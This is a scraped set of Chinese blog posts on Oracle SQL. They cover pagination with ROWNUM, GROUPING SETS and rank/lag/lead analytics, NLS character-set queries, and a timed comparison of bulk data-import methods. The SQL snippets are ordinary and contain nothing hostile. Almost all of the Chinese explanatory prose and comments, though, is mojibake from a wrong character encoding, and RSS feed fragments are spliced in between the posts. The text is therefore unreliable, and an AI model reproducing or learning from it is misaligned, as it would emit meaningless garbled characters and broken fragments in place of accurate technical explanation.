FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500)
WHERE rn > 480 ;

-- 鍒嗛〉綆楁硶(why not this one)
SELECT a.*, ROWNUM rn
FROM (SELECT * FROM t_employees ORDER BY first_name) a
WHERE ROWNUM <= 500 AND ROWNUM > 480;

-- 鍒嗛〉綆楁硶(why not this one)
SELECT b.*
FROM (SELECT a.*, ROWNUM rn
FROM t_employees a
WHERE ROWNUM < = 500
ORDER BY first_name) b
WHERE b.rn > 480;

-- OLAP
-- 灝忚鍚堣
SELECT CASE
WHEN a.deptno IS NULL THEN
'鍚堣'
WHEN a.deptno IS NOT NULL AND a.empno IS NULL THEN
'灝忚'
ELSE
'' || a.deptno
END deptno,
a.empno,
a.ename,
SUM(a.sal) total_sal
FROM scott.emp a
GROUP BY GROUPING SETS((a.deptno),(a.deptno, a.empno, a.ename),());

-- 鍒嗙粍鎺掑簭
SELECT a.deptno,
a.empno,
a.ename,
a.sal,
-- 鍙煩璺冪殑rank
rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r1,
-- 瀵嗛泦鍨媟ank
dense_rank() over(PARTITION BY a.deptno ORDER BY a.sal DESC) r2,
-- 涓嶅垎緇勬帓搴?br>rank() over(ORDER BY sal DESC) r3
FROM scott.emp a
ORDER BY a.deptno,a.sal DESC;

-- 褰撳墠琛屾暟鎹拰鍓?鍚巒琛岀殑鏁版嵁姣旇緝
SELECT a.empno,
a.ename,
a.sal,
-- 涓婇潰涓琛?br>lag(a.sal) over(ORDER BY a.sal DESC) lag_1,
-- 涓嬮潰涓夎
lead(a.sal, 3) over(ORDER BY a.sal DESC) lead_3
FROM scott.emp a
ORDER BY a.sal DESC;


鈽溾櫏鈽濵engChuChen 2007-04-25 20:36 鍙戣〃璇勮
]]>ORACLE 瀛楃闆嗛棶棰?http://m.tkk7.com/19851985lili/articles/110344.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenFri, 13 Apr 2007 01:06:00 GMThttp://m.tkk7.com/19851985lili/articles/110344.htmlhttp://m.tkk7.com/19851985lili/comments/110344.htmlhttp://m.tkk7.com/19851985lili/articles/110344.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/110344.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/110344.html
ORACLE 瀛楃闆嗛棶棰?/font>
  
涓銆佷粈涔堟槸oracle瀛楃闆?/span>
銆銆Oracle瀛楃闆嗘槸涓涓瓧鑺傛暟鎹殑瑙i噴鐨勭鍙烽泦鍚?/span>,鏈夊ぇ灝忎箣鍒?/span>,鏈夌浉浜掔殑鍖呭鍏崇郴銆?/span>ORACLE 鏀寔鍥藉璇█鐨勪綋緋葷粨鏋勫厑璁鎬綘浣跨敤鏈湴鍖栬璦鏉ュ瓨鍌紝澶勭悊錛屾绱㈡暟鎹傚畠浣挎暟鎹簱宸ュ叿錛岄敊璇秷鎭紝鎺掑簭嬈″簭錛屾棩鏈燂紝鏃墮棿錛岃揣甯侊紝鏁板瓧錛屽拰鏃ュ巻鑷姩閫傚簲鏈湴鍖栬璦鍜屽鉤鍙般?/span>
SELECT * FROM V$NLS_PARAMETERS;
1       NLS_LANGUAGE SIMPLIFIED CHINESE
2       NLS_TERRITORY         CHINA
3       NLS_CURRENCY RMB
4       NLS_ISO_CURRENCY CHINA
5       NLS_NUMERIC_CHARACTERS       .,
6       NLS_CALENDAR GREGORIAN
7       NLS_DATE_FORMAT     DD-MON-RR
8       NLS_DATE_LANGUAGE         SIMPLIFIED CHINESE
9       NLS_CHARACTERSET AL32UTF8
10      NLS_SORT BINARY
11      NLS_TIME_FORMAT      HH.MI.SSXFF AM
12      NLS_TIMESTAMP_FORMAT    DD-MON-RR HH.MI.SSXFF AM
13      NLS_TIME_TZ_FORMAT        HH.MI.SSXFF AM TZR
14      NLS_TIMESTAMP_TZ_FORMAT       DD-MON-RR HH.MI.SSXFF AM TZR
15      NLS_DUAL_CURRENCY        RMB
16      NLS_NCHAR_CHARACTERSET      UTF8
17      NLS_COMP         BINARY
18      NLS_LENGTH_SEMANTICS    BYTE
19      NLS_NCHAR_CONV_EXCP    FALSE
浜屻佸浣曟煡璇?/span>Oracle鐨勫瓧絎﹂泦
ORACLE鏈?/span>涓夋柟闈㈢殑瀛楃闆嗭紝涓鏄?/span>oracel server绔殑瀛楃闆嗭紝浜屾槸oracle client绔殑瀛楃闆?/span>;涓夋槸dmp鏂囦歡鐨勫瓧絎﹂泦銆傚湪鍋氭暟鎹鍏ョ殑鏃跺欙紝闇瑕佽繖涓変釜瀛楃闆嗛兘涓鑷存墠鑳芥紜鍏ャ?/span>
--鏌ョ湅oracel server绔殑瀛楃闆?/span>
select userenv('language') from dual;
1             SIMPLIFIED CHINESE_CHINA.AL32UTF8
--鏌ョ湅dmp鏂囦歡鐨勫瓧絎﹂泦
鐢?/span>oracle鐨?/span>exp宸ュ叿瀵煎嚭鐨?/span>dmp鏂囦歡涔熷寘鍚簡瀛楃闆嗕俊鎭紝dmp鏂囦歡鐨勭2鍜岀3涓瓧鑺傝褰曚簡dmp鏂囦歡鐨勫瓧絎﹂泦銆傚鏋?/span>dmp鏂囦歡涓嶅ぇ錛屾瘮濡傚彧鏈夊嚑M鎴栧嚑鍗?/span>M錛屽彲浠ョ敤UltraEdit鎵撳紑(16榪涘埗鏂瑰紡)錛岀湅絎?/span>2絎?/span>3涓瓧鑺傜殑鍐呭錛屽0354錛岀劧鍚庣敤浠ヤ笅SQL鏌ュ嚭瀹冨搴旂殑瀛楃闆?/span>:
select nls_charset_name(to_number('0354','xxxx')) from dual
--鏌ョ湅oracel client绔?/span>鐨?/span>瀛楃闆?/span>
銆銆鏄敞鍐岃〃閲岄潰鐩稿簲OracleHome鐨?/span>NLS_LANG銆傝繕鍙互鍦?/span>dos紿楀彛閲岄潰鑷繁璁劇疆錛屾瘮濡?/span>:
銆銆set nls_lang=AMERICAN_AMERICA.ZHS16GBK
銆銆榪欐牱灝卞彧褰卞搷榪欎釜紿楀彛閲岄潰鐨勭幆澧冨彉閲?/span>


]]>
Oracle 鏁版嵁瀵煎叆鏂規(guī)硶姣旇緝http://m.tkk7.com/19851985lili/articles/110340.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenFri, 13 Apr 2007 01:02:00 GMThttp://m.tkk7.com/19851985lili/articles/110340.htmlhttp://m.tkk7.com/19851985lili/comments/110340.htmlhttp://m.tkk7.com/19851985lili/articles/110340.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/110340.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/110340.html姣忎釜鏁版嵁搴撶鐞嗗憳閮戒細(xì)闈復(fù)鏁版嵁瀵煎叆鐨勯棶棰橈紝榪欐湁鍙兘鍙戠敓鍦ㄦ暟鎹簱鐨勬柊鑰佺Щ妞嶈繃紼嬩腑錛屾垨鑰呮槸鍦ㄦ暟鎹簱宕╂簝鍚庣殑鎭㈠閲嶅緩榪囩▼涓紝榪樻湁鍙兘鏄湪鍒涘緩嫻嬭瘯鏁版嵁搴撶殑妯℃嫙鐜榪囩▼涓紝鎬諱箣浣滀負(fù)涓鍚嶅悎鏍肩殑鏁版嵁搴撶鐞嗗憳錛屼綘搴旇鍋氬ソ鎺ュ彈鍚勭鏁版嵁瀵煎叆璇鋒眰鐨勬妧鏈偍澶囷紝鍚屾椂榪樿灝介噺婊¤凍浜烘湰鑳界殑瀵瑰鍏ラ熷害鐨勮嫑姹傘傛湰鏂囦粎閽堝 Oracle 鏁版嵁搴撴墍鎻愪緵鐨勫姞閫熸暟鎹鍏ョ殑鍚勭鐗規(guī)у拰鎶鏈繘琛屾帰璁紝鍏朵腑鐨勪竴浜涙柟娉曚篃鍙互杞寲搴旂敤浜庡叾浠栨暟鎹簱銆備互涓嬩竷縐嶆暟鎹鍏ユ柟娉曞摢涓渶閫傜敤闇瑕侀拡瀵瑰叿浣撴儏鍐靛叿浣撳垎鏋愶紝鎴戜篃闄勫甫鍒椾婦浜嗗獎鍝嶅鍏ラ熷害鐨勫悇縐嶅洜绱犱緵鏂熼厡銆備負(fù)浜嗘瘮杈冨悇縐嶆暟鎹鍏ユ柟娉曠殑鏁堟灉錛屾垜鍒涘緩浜嗙ず渚嬭〃鍜屾暟鎹泦錛屽茍鐢ㄥ悇縐嶆柟娉曞鍏ョず渚嬫暟鎹泦鏉ヨ綆楁諱綋瀵煎叆鏃墮棿鍜屽鍏ヨ繘紼嬪崰鐢?CPU 鏃墮棿錛岃繖閲屽緱鍑虹殑鏃墮棿浠呬緵鍙傝冦傞渶瑕佽鏄庣殑鏄紝寤鴻浣犱嬌鐢?Oracle 9i 浼佷笟鐗堟暟鎹簱錛屽綋鐒朵綘涔熷彲浠ュ皾璇曚嬌鐢?Oracle 7.3 浠ヤ笂鐨勬爣鍑嗙増鏁版嵁搴撱傛湰鏂囦嬌鐢ㄧ殑鏈哄櫒閰嶇疆涓猴細(xì)CPU Intel P4錛屽唴瀛?256M錛屾暟鎹簱 Oracle 9i 浼佷笟鐗?/font>

     紺轟緥琛ㄧ粨鏋勫拰鏁版嵁闆?br>涓轟簡婕旂ず鍜屾瘮杈冨悇縐嶆暟鎹鍏ユ柟娉曪紝鎴戝亣瀹氭暟鎹鍏ヤ換鍔℃槸灝嗗閮ㄦ枃浠舵暟鎹鍏ュ埌 Oracle 鏁版嵁搴撶殑CALLS琛ㄤ腑錛屽閮ㄦ暟鎹枃浠跺寘鍚崄涓囨潯鍛煎彨涓績璁板綍錛屽皢榪?6MB 鐨勬枃浠跺ぇ灝忥紝鍏蜂綋鐨勬暟鎹ず渚嬪涓?

82302284384,2003-04-18:13:18:58,5001,鎶曡瘔,鎵嬫満涓夊寘緇翠慨璐ㄩ噺82302284385,2003-04-18:13:18:59,3352,鍜ㄨ,渚涙按鐑嚎鐨勫彿鐮?2302284386,2003-04-18:13:19:01,3142,寤鴻,澧炶鍏氦綰胯礬
鎺ュ彈瀵煎叆鏁版嵁鐨勮〃鍚嶆槸 CALLS錛岃〃緇撴瀯濡備笅錛?/font>

      Name              Null?          Type                  Comment     ------------      ---------      -------------         -----------------     CALL_ID           NOT NULL       NUMBER                Primary key     CALL_DATE         NOT NULL       DATE                  Non-unique index     EMP_ID            NOT NULL       NUMBER     CALL_TYPE         NOT NULL       VARCHAR2(12)     DETAILS                         VARCHAR2(25)

閫愭潯鏁版嵁鎻掑叆INSERT
     鏁版嵁瀵煎叆鐨勬渶綆鍗曟柟娉曞氨鏄紪鍐?INSERT 璇彞錛屽皢鏁版嵁閫愭潯鎻掑叆鏁版嵁搴撱傝繖縐嶆柟娉曞彧閫傚悎瀵煎叆灝戦噺鏁版嵁錛屽 SQL*Plus 鑴氭湰鍒涘緩鏌愪釜琛ㄧ殑縐嶅瓙鏁版嵁銆傝鏂規(guī)硶鐨勬渶澶х己鐐瑰氨鏄鍏ラ熷害緙撴參錛屽崰鐢ㄤ簡澶ч噺鐨?CPU 澶勭悊鏃墮棿錛屼笉閫傚悎澶ф壒閲忔暟鎹殑瀵煎叆錛涜屽叾涓昏浼樼偣灝辨槸瀵煎叆鏋勬濈畝鍗曞張鏈変慨鏀瑰畬鍠勭殑寮規(guī)э紝涓嶉渶瑕佸鍋氬叾瀹冪殑鍑嗗灝卞彲浠ヤ嬌鐢ㄣ傚鏋滀綘鏈夊緢澶氭椂闂存病娉曟墦鍙戯紝鍙堟兂鎶樼(涓涓嬫暟鎹簱鍜?CPU錛岄偅榪欑鏂規(guī)硶姝i傚悎浣犮?)
     涓轟簡涓庡叾瀹冩柟娉曞仛姣旇緝錛岀幇灝嗗崄涓囨潯璁板綍閫氳繃姝ゆ柟娉曞鍏ュ埌 CALLS 琛ㄤ腑錛屾誨叡娑堣?172 縐掞紝鍏朵腑瀵煎叆榪涚▼鍗犵敤 CPU 鏃墮棿涓?52 縐掋?/font>

閫愭潯鏁版嵁鎻掑叆 INSERT錛岃〃鏆傛棤绱㈠紩
     涓轟粈涔堜笂涓縐嶆柟娉曞崰鐢ㄤ簡杈冨鐨?CPU 澶勭悊鏃墮棿錛屽叧閿槸 CALLS 琛ㄤ腑宸插垱寤轟簡绱㈠紩錛屽綋涓鏉℃暟鎹彃鍏ュ埌琛ㄤ腑鏃訛紝Oracle 闇瑕佸垽鍒柊鏁版嵁涓庤佹暟鎹湪绱㈠紩鏂歸潰鏄惁鏈夊啿紿侊紝鍚屾椂瑕佹洿鏂拌〃涓殑鎵鏈夌儲寮曪紝閲嶅鏇存柊绱㈠紩浼?xì)娑堣椾竴瀹氱殑鏃墮棿銆傚洜姝ゆ彁楂樺鍏ラ熷害鐨勫ソ鍔炴硶灝辨槸鍦ㄥ垱寤鴻〃鏃跺厛涓嶅垱寤虹儲寮曟垨鑰呭湪瀵煎叆鏁版嵁涔嬪墠鍒犻櫎鎵鏈夌儲寮曪紝鍦ㄥ閮ㄦ枃浠舵暟鎹愭潯鎻掑叆鍒拌〃涓悗鍐嶇粺涓鍒涘緩琛ㄧ殑绱㈠紩銆傝繖鏍峰鍏ラ熷害浼?xì)鎻愰珮锛屽悓鏃跺垱寰忕殑鐑﹀紩涔熷緢绱у噾鑰屾湁鏁堬紝榪欎竴鍘熷垯鍚屾牱閫傜敤浜庝綅鍥劇儲寮曪紙Bitmap Index錛夈傚浜庝富瑕佺殑鍜屽敮涓鐨勫叧閿害鏉?key constraints)錛屽彲浠ヤ嬌涔嬪厛鏆傛椂澶辨晥(disabling)鎴栬呭垹闄ょ害鏉熸潵鑾峰緱鍚屾牱鐨勬晥鏋滐紝褰撶劧榪欎簺鍋氭硶浼?xì)瀵瑰凡缁忓瓨鍦ㄧ殑琛ㄧ殑澶栭敭绾︽潫漶旂敓鐩稿叧鐨勫奖鍝嶅Q屽湪鍒犻櫎鍓嶉渶瑕侀氱洏鏂熼厡銆?br>    
闇瑕佽鏄庣殑鏄紝榪欑鏂規(guī)硶鍦ㄨ〃涓凡瀛樺湪寰堝鏁版嵁鐨勬儏鍐典笅涓嶅お鍚堥傘備緥濡傝〃涓凡鏈変節(jié)鍗冧竾鏉℃暟鎹紝鑰屾鏃墮渶瑕佽拷鍔犳彃鍏ヤ竴鍗冧竾鏉℃暟鎹紝瀹為檯瀵煎叆鏁版嵁鑺傜渷鐨勬椂闂村皢浼?xì)琚噸鏂板垱寰忎竴浜挎潯鏁版嵁鐨勭儲寮曟墍娑堣楁畣灝斤紝榪欐槸鎴戜滑涓嶅笇鏈涘緱鍒扮殑緇撴灉銆備絾鏄紝濡傛灉瑕佸鍏ユ暟鎹殑琛ㄦ槸絀虹殑鎴栧鍏ョ殑鏁版嵁閲忔瘮宸叉湁鐨勬暟鎹噺瑕佸ぇ寰楀錛岄偅涔堝鍏ユ暟鎹妭鐪佺殑鏃墮棿灝嗕細(xì)灝戦噺鐢ㄤ簬閲嶆柊鍒涘緩绱㈠紩錛岃繖鏃惰鏂規(guī)硶鎵嶅彲浠ヨ冭檻浣跨敤銆?br>    鍔犲揩绱㈠紩鍒涘緩鏄彟涓涓渶瑕佽冭檻鐨勯棶棰樸備負(fù)浜嗗噺灝戠儲寮曞垱寤轟腑鎺掑簭鐨勫伐浣滄椂闂達(dá)紝鍙互鍦ㄥ綋鍓嶄細(xì)璇濅腑澧炲姞 SORT_AREA_SIZE 鍙傛暟鐨勫ぇ灝忥紝璇ュ弬鏁板厑璁稿綋鍓嶄細(xì)璇濆湪鍐呭瓨鐨勭儲寮曞垱寤鴻繃紼嬩腑鎵ц鏇村鐨勬帓搴忔搷浣溿傚悓鏍瘋繕鍙互浣跨敤 NOLOGGING 鍏抽敭瀛楁潵鍑忓皯鍥犲垱寤虹儲寮曡岀敓鎴愮殑 REDO 鏃ュ織閲忥紝NOLOGGING 鍏抽敭瀛椾細(xì)瀵規(guī)暟鎹簱鐨勬仮澶嶅拰 Standby 澶囩敤鏁版嵁搴撲駭鐢熸槑鏄劇殑褰卞搷錛屾墍浠ュ湪浣跨敤涔嬪墠瑕佷粩緇嗘枱閰岋紝鍒板簳鏄熷害浼樺厛榪樻槸紼沖畾浼樺厛銆?br>榪愮敤榪欑鏂規(guī)硶錛屽厛鍒犻櫎 CALLS 琛ㄧ殑涓婚敭鍜屼笉鍞竴鐨勭儲寮曪紝鐒跺悗閫愭潯瀵煎叆鏁版嵁錛屽畬鎴愬悗閲嶆柊鍒涘緩绱㈠紩( 琛ㄥ湪瀵煎叆鏁版嵁鍓嶆槸絀虹殑)銆傝鏂規(guī)硶鎬誨叡娑堣?130 縐掞紝鍖呮嫭閲嶅緩绱㈠紩鐨勬椂闂達(dá)紝鍏朵腑瀵煎叆榪涚▼鍗犵敤 CPU 鏃墮棿涓?35縐掋?br>    榪欑鏂規(guī)硶鐨勪紭鐐規(guī)槸鍙互鍔犲揩瀵煎叆鐨勯熷害騫朵嬌绱㈠紩鏇村姞绱у噾鏈夋晥錛涚己鐐規(guī)槸緙轟箯閫氱敤鎬э紝褰撲綘瀵硅〃澧炲姞鏂扮殑澶嶆潅鐨勬ā寮忓厓绱狅紙绱㈠紩銆佸閿瓑錛夋椂浣犻渶瑕佹坊鍔犱唬鐮併佷慨鏀瑰鍏ユ墽琛岀▼搴忋傚彟澶栭拡瀵?7*24 鍦ㄧ嚎瑕佹眰鐨勬暟鎹簱鍦ㄧ嚎瀵煎叆鎿嶄綔鏃訛紝鍒犻櫎琛ㄧ殑绱㈠紩浼?xì)瀵瑰湪绾跨敤鎴风殑鏌ヨ鏈夊緢澶х殑鎬ц兘褰卞搷錛屽悓鏃朵篃瑕佽冭檻錛屼富瑕佹垨鍞竴鐨勫叧閿害鏉熸潯浠剁殑鍒犻櫎鎴栧け鏁堝彲鑳戒細(xì)褰卞搷鍒板紩鐢ㄥ畠浠殑澶栭敭鐨勪嬌鐢ㄣ?/font>

鎵歸噺鎻掑叆錛岃〃鏆傛棤绱㈠紩
     鍦∣racle V6 涓?OCI 緙栫▼鎺ュ彛鍔犲叆浜嗘暟緇勬帴鍙g壒鎬с傛暟緇勬搷浣滃厑璁稿鍏ョ▼搴忚鍙栧閮ㄦ枃浠舵暟鎹茍瑙f瀽鍚庯紝鍚戞暟鎹簱鎻愪氦SQL璇彞錛屾壒閲忔彃鍏?SQL 璇彞媯绱㈠嚭鐨勬暟鎹侽racle 浠呴渶瑕佹墽琛屼竴嬈?SQL 璇彞錛岀劧鍚庡湪鍐呭瓨涓壒閲忚В鏋愭彁渚涚殑鏁版嵁銆傛壒閲忓鍏ユ搷浣滄瘮閫愯鎻掑叆閲嶅鎿嶄綔鏇存湁鏁堢巼錛岃繖鏄洜涓哄彧闇涓嬈¤В鏋?SQL 璇彞錛屼竴浜涙暟鎹粦璁㈡搷浣滀互鍙婄▼搴忎笌鏁版嵁搴撲箣闂存潵鍥炵殑鎿嶄綔閮芥樉钁楀噺灝戯紝鑰屼笖鏁版嵁搴撳姣忎竴鏉℃暟鎹殑鎿嶄綔閮芥槸閲嶅鍙煡鐨勶紝榪欑粰鏁版嵁搴撴彁渚涗簡浼樺寲鎵ц鐨勫彲鑳姐傚叾浼樼偣鏄暟鎹鍏ョ殑鎬諱綋鏃墮棿鏄庢樉鍑忓皯錛岀壒鍒槸榪涚▼鍗犵敤 CPU 鐨勬椂闂淬?br>    
闇瑕佹彁閱掔殑鏄紝閫氳繃 OCI 鎺ュ彛紜疄鍙互鎵ц鏁版嵁鎵歸噺瀵煎叆鎿嶄綔錛屼絾鏄澶氬伐鍏峰拰鑴氭湰璇█鍗翠笉鏀寔浣跨敤姝ゅ姛鑳姐傚鏋滆浣跨敤璇ユ柟娉曪紝闇瑕佺爺絀朵綘鎵浣跨敤鐨勫紑鍙戝伐鍏鋒槸鍚︽敮鎸?OCI 鎵歸噺鎿嶄綔鍔熻兘銆傚鍏ョ▼搴忛渶瑕佽繘琛屽鏉傜殑緙栫爜騫跺彲鑳藉瓨鍦ㄩ敊璇殑椋庨櫓錛岀己涔忎竴瀹氱殑寮規(guī)с?br>    榪愮敤涓婅堪鏂規(guī)硶錛岀▼搴忓皢澶栭儴鏁版嵁鎻愬彇鍒板唴瀛樹腑鐨勬暟緇勯噷錛屽茍鎵ц鎵歸噺鎻掑叆鎿嶄綔錛?00琛?嬈★級錛屼繚鐣欎簡琛ㄧ殑鍒犻櫎/閲嶅緩绱㈠紩鎿嶄綔錛屾葷殑瀵煎叆鏃墮棿涓嬮檷鍒?14 縐掞紝鑰岃繘紼嬪崰鐢?CPU 鐨勬椂闂翠笅闄嶅埌7縐掞紝鍙瀹為檯瀵煎叆鏁版嵁鎵鑺辮垂鐨勬椂闂存樉钁椾笅闄嶄簡 95%銆?/font>

CREATE TABLE AS SELECT錛屼嬌鐢∣racle9i鐨凟xternal Table
     Oracle 9i 鐨勪竴欏規(guī)柊鐗規(guī)у氨鏄?External Table錛屽畠?yōu)p薄閫氬父鐨勬暟鎹簱琛ㄤ竴鏍鳳紝鎷ユ湁瀛楁鍜屾暟鎹被鍨嬬害鏉燂紝騫朵笖鍙互鏌ヨ錛屼絾鏄〃涓殑鏁版嵁鍗翠笉瀛樺偍鍦ㄦ暟鎹簱涓紝鑰屾槸鍦ㄤ笌鏁版嵁搴撶浉鍏寵仈鐨勬櫘閫氬閮ㄦ枃浠墮噷銆傚綋浣犳煡璇?External Table 鏃訛紝Oracle 灝嗚В鏋愯鏂囦歡騫惰繑鍥炵鍚堟潯浠剁殑鏁版嵁錛屽氨璞¤鏁版嵁瀛樺偍鍦ㄦ暟鎹簱琛ㄤ腑涓鏍楓?br>    
闇瑕佹敞鎰忕殑鏄紝浣犲彲浠ュ湪鏌ヨ璇彞涓皢 External Table 涓庢暟鎹簱涓叾浠栬〃榪涜榪炴帴錛圝oin錛夛紝浣嗘槸涓嶈兘緇?External Table 鍔犱笂绱㈠紩錛屽茍涓斾笉鑳芥彃鍏?鏇存柊/鍒犻櫎鏁版嵁錛屾瘯绔熷畠涓嶆槸鐪熸鐨勬暟鎹簱琛ㄣ傚彟澶栵紝濡傛灉涓庢暟鎹簱鐩稿叧鑱旂殑澶栭儴鏂囦歡琚敼鍙樻垨鑰呰鍒犻櫎錛岃繖浼?xì)濯勫搷鍒?External Table 榪斿洖鏌ヨ緇撴灉錛屾墍浠ュ湪鍙樺姩鍓嶈鍏堣窡鏁版嵁搴撴墦鎷涘懠銆?br>    榪欑鏂規(guī)硶涓哄鍏ユ暟鎹墦寮浜嗘柊鐨勪竴鎵囬棬銆備綘鍙互寰堝鏄撶殑灝嗗閮ㄦ枃浠朵笌鏁版嵁搴撶浉鍏寵仈錛屽茍涓斿湪鏁版嵁搴撲腑鍒涘緩瀵瑰簲鐨?External Table錛岀劧鍚庡氨鍙互绔嬪嵆鏌ヨ鏁版嵁錛屽氨璞″閮ㄦ暟鎹凡緇忓鍏ュ埌鏁版嵁搴撹〃涓竴鏍楓傚敮涓鐨勪笉瓚抽渶瑕佹槑紜紝鏁版嵁騫舵湭鐪熸瀵煎叆鍒版暟鎹簱涓紝褰撳閮ㄦ枃浠惰鍒犻櫎鎴栬鐩栨椂錛屾暟鎹簱灝嗕笉鑳借闂?External Table 閲岀殑鏁版嵁錛岃屼笖绱㈠紩娌℃湁琚垱寤猴紝璁塊棶鏁版嵁閫熷害灝嗘湁鎵緙撴參銆傚垱寤?CALLS_EXTERNAL錛圗xternal Table琛級濡備笅錛屼嬌涔嬩笌澶栭儴鏁版嵁鏂囦歡鍏寵仈錛?br>  CREATE TABLE calls_external (call_id NUMBER, call_date DATE, emp_id NUMBER, call_type VARCHAR2(12), details VARCHAR2(25)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extract_files_dir ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL (call_id, call_date CHAR DATE_FORMAT DATE MASK "yyy-mm-dd:hh24:mi:ss", emp_id, call_type, details ) ) LOCATION ('calls.dat')         );  
鐒跺悗灝?External Table 涓庣湡姝h浣跨敤鐨勮〃 CALLS 鍏寵仈鍚屾錛屽垹闄?CALLS 琛ㄥ茍閲嶅緩瀹冿細(xì)

     CREATE TABLE calls         (         call_id     NUMBER   NOT NULL,         call_date   DATE    NOT NULL,         emp_id     NUMBER   NOT NULL,         call_type   VARCHAR2(12) NOT NULL,         details   VARCHAR2(25)         )         TABLESPACE tbs1 NOLOGGING         AS         SELECT call_id, call_date, emp_id, call_type, details         FROM    calls_external;  
     鍥犱負(fù) CALLS 琛ㄦ槸鐪熸鐨勬暟鎹簱琛紝鍙互鍒涘緩绱㈠紩鏉ュ姞蹇闂紝琛ㄤ腑鐨勬暟鎹皢琚繚鐣欙紝鍗充嬌澶栭儴鏁版嵁鏂囦歡琚洿鏂版垨琚垹闄ゃ傚湪寤鴻〃璇彞涓璑OLOGGING鍏抽敭瀛楃敤浜庡姞蹇儲寮曢噸寤恒?br>    
榪愮敤榪欑鏂規(guī)硶瀵煎叆鏁版嵁錛屾葷殑瀵煎叆鏃墮棿涓?15 縐掞紝榪涚▼鍗犵敤 CPU 鐨勬椂闂翠負(fù)8縐掞紝榪欐瘮鍓嶄竴縐嶆柟娉曠◢寰參浜涳紝浣嗕笉鑳藉氨姝よ涓轟嬌鐢?External Table 瀵煎叆鏁版嵁涓瀹氭瘮 OCI 鎵歸噺鎻掑叆鎱€?br>    榪欑鏂規(guī)硶鐨勪紭鐐規(guī)槸錛屾湭緇忚繘琛屽ぇ閲忕殑緙栧啓浠g爜灝卞彇寰椾簡涓嶉敊鐨勭粨鏋滐紝涓嶈薄 OCI 鎵歸噺鎻掑叆瀛樺湪緙栫爜閿欒椋庨櫓錛屽畠榪樺彲浠ヤ嬌鐢?dbms_job 鍖呰皟搴︽暟鎹鍏ヨ繘紼嬶紝瀹炵幇鏁版嵁瀵煎叆鐨勮嚜鍔ㄥ寲銆傚叾緙虹偣鏄洰鏍囪〃蹇呴』鍏堝垹闄ゅ悗閲嶅緩錛屽鏋滃彧闇瑕佸鍏ュ閲忔暟鎹椂姝ゆ柟娉曞氨涓嶅悎閫備簡錛屽彟澶栫敤鎴峰湪琛ㄧ殑閲嶅緩榪囩▼涓闂暟鎹椂浼?xì)閬囧?"table or view does not exist" 鐨勯敊璇紝瀹冧粎閫傜敤浜?Oracle 9i 浠ヤ笂鐗堟湰鐨勬暟鎹簱銆?/font>

INSERT Append as SELECT錛屼嬌鐢?Oracle9i 鐨?External Table
     涓婁竴縐嶆柟娉曟紨紺轟簡濡備綍鍒涘緩涓庡閮ㄦ暟鎹枃浠跺叧鑱旂殑鏁版嵁搴撹〃錛屽叾琛ㄧ殑鏁版嵁鏄敱澶栭儴鏁版嵁鏂囦歡鏄犲皠榪囨潵銆傜己鐐規(guī)槸鏁版嵁搴撹〃闇瑕佽鍏堝垹闄ゅ啀閲嶅緩鏉ヤ繚鎸佷笌澶栭儴鏁版嵁鏂囦歡鐨勪竴鑷村拰鍚屾錛屽瀵煎叆澧為噺鐨勬暟鎹屼笉闇瑕佸垹闄ゅ凡鏈夋暟鎹殑鎯呭喌涓嶅悎閫傘傞拡瀵硅繖縐嶉渶姹傦紝Oracle 鎻愪緵浜?INSERT 璇彞澶栧甫 APPEND 鎻愮ず鏉ユ弧瓚熾?br>
     INSERT     /*+ APPEND */ INTO calls             (call_id, call_date, emp_id, call_type, details)    SELECT call_id, call_date, emp_id, call_type, details      FROM calls_external;
璇ヨ鍙ヨ鍙栧紩鐢ㄥ閮ㄦ暟鎹枃浠剁殑 CALLS_EXTERNAL 琛ㄤ腑鍐呭錛屽茍灝嗕箣澧炲姞鍒拌〃 CALLS 涓侫ppend 鎻愮ず鍛婅瘔 Oracle 浣跨敤蹇熸満鍒舵潵鎻掑叆鏁版嵁錛屽悓鏃跺彲浠ラ厤鍚堜嬌鐢ㄨ〃鐨?NOLOGGING 鍏抽敭瀛椼?br>    
鍙互棰勮榪欑鏂規(guī)硶涓庡墠涓鏂規(guī)硶娑堣椾簡鐩稿悓鐨勬椂闂達(dá)紝姣曠珶瀹冧滑鏄嬌鐢?External Table 鐗規(guī)у鍏ユ暟鎹殑涓嶅悓闃舵瑙e喅鏂規(guī)硶銆傚鏋滅洰鏍囪〃涓嶆槸絀虹殑錛岄偅灝嗕細(xì)娑堣楃◢寰暱鐨勬椂闂達(dá)紙鍥犱負(fù)瑕侀噸寤烘洿闀跨殑绱㈠紩錛夛紝鑰屽墠涓 CREATE TABLE as SELECT 鏂規(guī)硶鏄暣浣撳垱寤虹儲寮曘?/font>

SQL*Loader鐨勫己澶у姛鑳?br>     SQL*Loader 鏄?Oracle 鎻愪緵鐨勫鍏ュ疄鐢ㄧ▼搴忥紝鐗瑰埆閽堝浠庡閮ㄦ枃浠跺鍏ュぇ鎵歸噺鏁版嵁榪涘叆鏁版嵁搴撹〃銆傝宸ュ叿宸茬粡鏈夊騫寸殑鍘嗗彶錛屾瘡涓嬈$増鏈崌綰ч兘浣垮叾鏇村姞寮哄ぇ銆佺伒媧誨拰蹇嵎錛屼絾閬楁喚鐨勬槸瀹冪殑璇硶鍗存槸紲炵鑰屼笉鐩磋錛屽茍涓斿彧鑳戒粠鍛戒護(hù)琛岀獥鍙e榪涜璋冪敤銆?br>    灝界瀹冩湁涓嶇洿瑙傜殑緙虹偣錛屼絾鍗存槸鏈蹇渶鏈夋晥鐨勫鍏ユ暟鎹柟娉曘傜己鐪佹儏鍐典笅瀹冧嬌鐢?"conventional path" 甯歌閫夐」鏉ユ壒閲忓鍏ユ暟鎹紝鍏舵ц兘鎻愰珮搴﹀茍涓嶆槑鏄俱傛垜寤鴻浣跨敤鏇村揩閫熺殑瀵煎叆鍙傛暟閫夐」錛屽湪鍛戒護(hù)琛屾坊鍔?direct=true" 閫夐」璋冪敤 "direct 